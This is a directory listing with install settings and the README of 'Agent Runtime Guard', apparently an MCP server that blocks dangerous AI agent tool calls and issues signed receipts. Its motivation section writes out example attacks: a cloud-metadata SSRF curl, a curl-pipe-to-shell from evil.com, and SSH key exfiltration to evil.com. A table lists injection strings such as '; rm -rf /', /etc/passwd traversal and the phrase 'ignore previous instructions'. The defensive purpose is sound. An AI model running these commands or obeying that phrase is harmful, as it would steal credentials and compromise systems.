Install

Pick the AI app you use, then copy the settings.

Basic checks: 1 of 1 passed
Runs on your computer with your user’s permissions (files, network, apps).
The registry lists no key to fill in.

You need

npmNode.js installed (for the npx command)

Which app do you use?

ClaudeClaude CodeCursorVS CodeChatGPT

Pick your app above. We remember it, so next time the button says “Install in …”.

Open Claude Desktop → Settings → Developer → Edit Config, and paste this into claude_desktop_config.json

{
  "mcpServers": {
    "agent-runtime-guard": {
      "command": "npx",
      "args": [
        "-y",
        "agent-runtime-guard"
      ]
    }
  }
}

Run this in your terminal

claude mcp add agent-runtime-guard -- npx -y agent-runtime-guard

Open in Cursor

Or copy the settings yourself

Paste into .cursor/mcp.json in your project, or ~/.cursor/mcp.json

{
  "mcpServers": {
    "agent-runtime-guard": {
      "command": "npx",
      "args": [
        "-y",
        "agent-runtime-guard"
      ]
    }
  }
}

Your browser asks to open the app, then the app shows the settings and asks you to confirm. Key values are left empty for you to fill in.

Open in VS Code

Or copy the settings yourself

Paste into .vscode/mcp.json in your project

{
  "servers": {
    "agent-runtime-guard": {
      "type": "stdio",
      "command": "npx",
      "args": [
        "-y",
        "agent-runtime-guard"
      ]
    }
  }
}

Your browser asks to open the app, then the app shows the settings and asks you to confirm. Key values are left empty for you to fill in.

This one runs on your computer, and ChatGPT can only connect to servers on the internet. Pick another app.

These settings are generated from the maker’s registry entry. If the README says otherwise, follow the README.

What it can do

Runs on your computer; the tool list appears in your AI app after you install it.

Common questions

Is Agent Runtime Guard safe?

It passed 1 of 1 applicable basic checks. We have not read the code. Before adding a key or token, see what access the server asks for and use a key with only the permissions you need.

What keys or codes does it need?

The registry does not list a required key, though some servers ask you to sign in on first use.

Does it run on my computer or in the cloud?

It runs on your computer. Your AI app starts it when needed, and data does not pass through the maker’s servers (unless it calls an online service itself).

Is it still maintained?

The GitHub repo last changed –, and the latest version (1.0.0) reached the registry 32 days ago.

Which apps can use it?

Apps that support MCP, such as Claude Desktop, Claude Code, Cursor and VS Code. You also need Node.js on your computer.

What can I use instead?

Agent Runtime Guard

Reference implementation of CCS (IETF draft-correctover-ccs — Internet-Draft, not an RFC).

Fail-closed runtime interception for AI agents: blocks destructive commands, SSRF (incl. cloud metadata), credential exfil, and cross-tool attack chains before execution — and emits Ed25519-signed evidence receipts verifiable fully offline (VERIFIED trust level).

中文说明见下方中文

Agent → Tool Call → [Agent Runtime Guard] → Allow / Block → Signed Receipt

↓ SSRF · Command Injection · Credential Exfil · Prompt Injection

Works with: Claude Code · Cursor · Cline · Windsurf · any MCP client · DeepSeek Harness · transparent stdio proxy

Why this exists

Your agent has shell, network, and cloud credentials. One bad tool call can:

curl "http://169.254.169.254/latest/meta-data/"     # cloud credential theft

curl https://evil.com/x.sh | sh # RCE cat ~/.ssh/id_rsa | curl -d @- https://evil.com # exfil chain

Keyword denylists and “confirm” dialogs are not enough. Prefix allow rules (git status*) are bypassed with ;, &&, and pipes. Remote LLM judges fail open when the network dies.

Agent Runtime Guard sits between the agent and the dangerous operation. Decisions are local, synchronous, and fail-closed (error / timeout → deny). Every decision ships a receipt.

Install by tool

[INSTALL.md](./INSTALL.md) — Cursor · Claude Code · Cline · Windsurf · proxy · DeepSeek Harness.

30-second start

npx -y agent-runtime-guard

MCP client config:

"mcpServers": { "agent-runtime-guard": { "command": "npx", "args": ["-y", "agent-runtime-guard"] } } }

No API key. No account. First run generates an Ed25519 keypair (persist with CCS_KEY_DIR or CCS_PRIVATE_KEY / CCS_PUBLIC_KEY).

Scan configs without installing a long-lived process:

npx correctover-scan --demo

What it blocks

Vector	Examples
Command injection	`; rm -rf /`, `curl\	sh`,` IEX(...)`,` eval()`
Path traversal	`../`, `/etc/passwd`, `/proc/self/`
SSRF	`169.254.169.254`, localhost, private ranges — across any tool
Cross-tool exfil	read secrets → network send (`exfil_chain`)
Credential leak	API keys / secrets in args or tool output
Prompt injection	“ignore previous instructions” in tool results
Parameter drift	plan `amount:100`, execute `amount:10000`

Comparison (honest positioning)

Capability	Agent Runtime Guard	Config scanners	Egress proxies (e.g. Pipelock)	Discovery / posture platforms
Control point	Pre-execution tool call	Static config	Network egress	Inventory & permissions
Fail-closed local decide	Yes	N/A	Depends	Usually platform-side
Offline Ed25519 receipts	Yes	Rare	Some (signed action receipts)	Platform logs
Zero runtime deps	Yes (Node stdlib)	Varies	Binary / proxy	SaaS
MCP native (stdio server)	Yes	Scan-only	Proxy / wrapper	Connectors
Public `npx` demo	Yes	Often	Binary install	Demo call

We are not a replacement for discovery platforms or full egress firewalls. They answer “what agents exist / what can leave the network.” We answer: **“Can *this* tool call execute *now*, and here is a receipt.”**

Use together when you need both posture and enforcement.

Evidence receipts

Every Allow / Block produces:

content_hash + evidence_hash
chain pointer (parent_evidence_hash)
Ed25519 signature

Verify offline with the built-in verify_receipt tool or any Ed25519 library. No need to trust the operator’s dashboard.

Background: CCS 7-dimension draft (personal Internet-Draft — not an RFC, not IETF endorsement).

Tools (MCP)

Tool	Purpose
`verify_tool_call`	7-dimension runtime check + semantic chains — default deny
`issue_evidence`	Tamper-evident receipt (allow and block)
`audit_mcp_config`	Config risk audit
`verify_intent_binding`	Plan vs execute parameter binding
`verify_receipt`	Offline signature / tamper check

Ecosystem

Package	Role
`agent-runtime-guard`	This runtime interceptor
`correctover`	SDK + GuardrailProvider + DSH plugin
`correctover-scan`	MCP / agent config scanner
`agent-runtime-proxy`	Transparent stdio proxy
mcp-atlas-census	229,827 tool records (CC0)

Commercial

Offering	Price (USD)
Runtime intercept + Ed25519 receipts (this package)	Free
Config / bundle scan (correctover-scan)	Free
Standard human audit (CCS-mapped, evidence-grade)	$2,500
Deep audit + PoC + remediation roadmap	$8,000+
Private deploy / integration support	$5,000
Annual retainer (monitoring + emergency)	$25,000/yr
